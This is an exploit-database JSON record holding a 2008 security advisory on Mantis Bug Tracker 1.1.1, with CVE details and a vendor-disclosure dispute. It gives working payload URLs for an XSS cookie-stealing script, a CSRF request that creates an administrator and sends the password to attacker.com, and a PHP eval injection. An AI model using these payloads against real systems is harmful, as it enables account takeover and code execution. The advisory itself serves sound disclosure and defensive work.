{"exploit":{"id":"EDB-5657","name":"Mantis Bug Tracker 1.1.1 - Code Execution / Cross-Site Scripting (XSS) / Cross-Site Request Forgery (CSRF)","description":"Mantis Bug Tracker 1.1.1 - Code Execution / Cross-Site Scripting (XSS) / Cross-Site Request Forgery (CSRF)","cves":["CVE-2008-3332","CVE-2008-3331","CVE-2008-2276"],"author":"USH","published":"2008-05-20","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5657","path":"exploits/php/webapps/5657.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5657.txt","vulnerabilities":[{"id":"CVE-2008-3332","state":"PUBLISHED","title":null,"titleSource":null,"description":"Eval injection vulnerability in adm_config_set.php in Mantis before 1.1.2 allows remote authenticated administrators to execute arbitrary code via the value parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-3332","cvss":{"version":"2.0","baseScore":6.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-3332"},"updatedAt":"2024-08-07T09:37:26.754Z","retrievedAt":"2026-11-26T20:10:12.722Z","stale":false,"error":null},{"id":"CVE-2008-3331","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting (XSS) vulnerability in return_dynamic_filters.php in Mantis before 1.1.2 allows remote attackers to inject arbitrary web script or HTML via the filter_target parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-3331","cvss":{"version":"2.0","baseScore":3.5,"severity":"low","vectorString":"AV:N/AC:M/Au:S/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-3331"},"updatedAt":"2024-08-07T09:37:27.042Z","retrievedAt":"2026-11-26T20:31:37.463Z","stale":false,"error":null},{"id":"CVE-2008-2276","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site request forgery (CSRF) vulnerability in manage_user_create.php in Mantis 1.1.1 allows remote attackers to create new administrative users via a crafted link.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2276","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2276"},"updatedAt":"2024-08-07T08:58:00.836Z","retrievedAt":"2026-11-26T20:31:30.941Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5657.png?v=2","url":"https://exploitbin.com/exploits/EDB-5657","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5657/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5657/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Mantis Bug Tracker 1.1.1 Multiple Vulnerabilities\n\n  Name              Multiple Vulnerabilities in Mantis\n  Systems Affected  Mantis 1.1.1 and possibly earlier versions\n  Severity          High\n  Impact (CVSSv2)   High 9/10, vector: (AV:N/AC:L/Au:N/C:C/I:P/A:P)\n  Vendor            http://www.mantisbt.org/\n  Advisory          http://www.ush.it/team/ush/hack-mantis111/adv.txt\n  Authors           Antonio \"s4tan\" Parata (s4tan AT ush DOT it)\n                    Francesco \"ascii\" Ongaro (ascii AT ush DOT it)\n  Date              20080520\n\nI. BACKGROUND\n\n From the Mantis web site: \"Mantis is a free popular web-based\nbug tracking system. It is written in the PHP scripting language and\nworks with MySQL, MS SQL, and PostgreSQL databases and a webserver.\".\n\nII. DESCRIPTION\n\nMultiple vulnerabilities exist in Mantis software (XSS, CSRF, Remote\nCode Execution).\n\nIII. ANALYSIS\n\nSummary:\n  A) XSS Vulnerabilities\n     return_dynamic_filters.php (filter_target parameter)\n  B) CSRF Vulnerabilities\n     manage_user_create.php\n  C) Remote Code Execution Vulnerabilities\n     adm_config_set.php (value parameter)\n\nA) XSS Vulnerabilities\n\nWe have found an XSS vulnerability in return_dynamic_filters.php. In\norder to exploit this vulnerability the attacker must be authenticated.\nUsually the anonymous user is allowed on typical installation, so the\nimpact is a bit higher. The following url is a proof of concept:\n\nhttp://www.example.com/mantis/return_dynamic_filters.php?filter_target=\n<script>alert(document.cookie);</script>\n\nB) CSRF Vulnerabilities\n\nThere is a Cross Site Request Forgery vulnerability in the software. If a\nlogged in user with administrator privileges clicks on the following url:\n\nhttp://www.example.com/mantis/manage_user_create.php?username=foo&realn\name=aa&password=aa&password_verify=aa&email=foo@attacker.com&access_lev\nel=90&protected=0&enabled=1\n\na new user 'foo' with administrator privileges is created. The password\nof the new user is sent to foo@attacker.com.\n\nC) Remote Code Execution Vulnerabilities\n\nFinally we present the most critical vulnerability. A Remote Code\nExecution vulnerability exists in the software, but it can be exploited\nonly if the attacker has a valid administrator account, so it could be\nideal if used in conjunction with the previous one. The vulnerability\nis in the file adm_config_set.php. On row 80 we have the following\nstatement:\n\neval( '$t_value = ' . $f_value . ';' );\n\nwhere the $f_value is defined at row 34 of the same file:\n\n$f_value = gpc_get_string( 'value' );\n\nthe parameter $f_value is never validated, so we can exploit this issue\nwith the following url which executes the phpinfo() function:\n\nhttp://www.example.com/mantis/adm_config_set.php?user_id=0&project_id=0\n&config_option=cache_config&type=0&value=0;phpinfo()\n\nIV. DETECTION\n\nMantis 1.1.1 and possibly earlier versions are vulnerable.\n\nV. WORKAROUND\n\nProper input validation will fix the vulnerabilities.\n\nUpgrade to latest development version 1.2.0a1.\n\nVI. VENDOR RESPONSE\n\nIt was a little surprise to find out that somebody issued CVE-2008-2276\nduring our responsible disclosure time-line.\n\n From an internal email with Glenn Henshaw:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\n# 8974 : XSS Vulnerability in filters - fixed for 1.1.2\n# 8977 : Port 0008974: XSS Vulnerability in filters - fixed for 1.2.0\n          and future\n          - this issue has been fixed by escaping the data in the error\n          message.\n# 8976 : Remote Code Execution in adm_config - workaround in place in\n          1.1.2\n          - this page is only accessible to registered administrators\n# 8980 : Port: Remote Code Execution in adm_config - workaround in\n          place in 1.2.0 and beyond\n          - this page is only accessible to registered administrators\n# 8975 : CSRF Vulnerabilities in user_create\n# 8995 : Port: CSRF Vulnerabilities in user_create\n          - this has been fixed by ensuring that action pages can only\n          be accessed via POST commands.\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nSo \"CSRF Vulnerabilities in user_create\" is an our finding. The vendor\nfixed by allowing only POST parameters that is obviously a non-fix.\n\nOur response:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nThis alone isn't enough since forms can be auto-submitted by js that\nare irrespective of the same-orgin policy.\n\nProper remediation should include referer checking (has proved to be\nspoofable on the client side in the past so not a bulletproof\ntechnique) and token checking (a random string or an hash generated\nwhen the user requires the frontend, stored serverside - sessions are\nokay -, included in the frontend form and sent to and verified by the\nbackend).\n\nThese two protections ensure that an action cannot, hopefully, be\nCSRFed (at last in absence of an xss vuln that neutralize the same\norigin policy again).\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nGlenn response:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nThanks for the notice. The CSRF patch for rev 1.1.2 is in place using\njust a \"POST\" check. I have added a more sophisticated token based\ncheck to rev 1.2.0 (the patch is attached for review). I should be\nsubmitting this shortly.\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nGlenn final update about the patch not being incorporated upstream:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nAs a final update on this subject, the status of these issues has not\nchanged. The token based CSRF implementation was rejected by the\ndevelopment team, and will not be implemented (at least by me). The\nconsensus was that it was too complex to resolve a \"rare\" problem.\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nSince responsible disclosure didn't worked well with this vendor and\nturned out to be very resource expensive we will publish future issues\naffecting this product directly to independent security researchers,\ndevelopers and users.\n\nThe wrong attribution of CVE-2008-2276 before our official advisory\nstrengthen our conviction that responsible disclosure isn't always\nfair.\n\nWe discussed long with Glenn Henshaw about issues and how to fix them\nin mantis and we didn't expect to find a CVE credited to one of our\ninterlocutors. He was surely aware of who was deserving credits and\nshould have taken proper steps to prevent or fix this.\n\n   nUE0p QbiY3q3ql55o3I0 qJWy YzAioF9 3LKEwnQ92 CIEhqzkE L0kIMy9S\n\nVII. CVE INFORMATION\n\nNo CVE at this time.\n\nVIII. DISCLOSURE TIMELINE\n\n20080121 Bug discovered\n20080213 Vendor contacted\n          -- LONG VENDOR SLOWNESS --\n20080512 Last vendor mail about development and compatibility issues\n20080515 CVE-2008-2276 wrongly credited to Glenn Henshaw (thraxisp)\n20080520 Advisory released (forced disclosure)\n\nIX. CREDIT\n\nAntonio \"s4tan\" Parata and Francesco \"ascii\" Ongaro are credited with\nthe discovery of this vulnerability.\n\nAntonio \"s4tan\" Parata\nweb site: http://www.ictsc.it/\nmail: s4tan AT ictsc DOT it, s4tan AT ush DOT it\n\nFrancesco \"ascii\" Ongaro\nweb site: http://www.ush.it/\nmail: ascii AT ush DOT it\n\nX. LEGAL NOTICES\n\nCopyright (c) 2007 Francesco \"ascii\" Ongaro\n\nPermission is granted for the redistribution of this alert\nelectronically. It may not be edited in any way without mine express\nwritten consent. If you wish to reprint the whole or any\npart of this alert in any other medium other than electronically,\nplease email me for permission.\n\nDisclaimer: The information in the advisory is believed to be accurate\nat the time of publishing based on currently available information. Use\nof the information constitutes acceptance for use in an AS IS condition.\nThere are no warranties with regard to this information. Neither the\nauthor nor the publisher accepts any liability for any direct, indirect,\nor consequential loss or damage arising from use of, or reliance on,\nthis information.\n\n# milw0rm.com [2008-05-20]","sha256":"0503ff834bbbe56c08113dec5be1f3345905b51eceeb535913bc07027fe1ec0b","bytes":8048,"fetchedAt":"2026-11-26T20:10:08.110Z","encoding":"utf-8 (display only; download retains original bytes)"}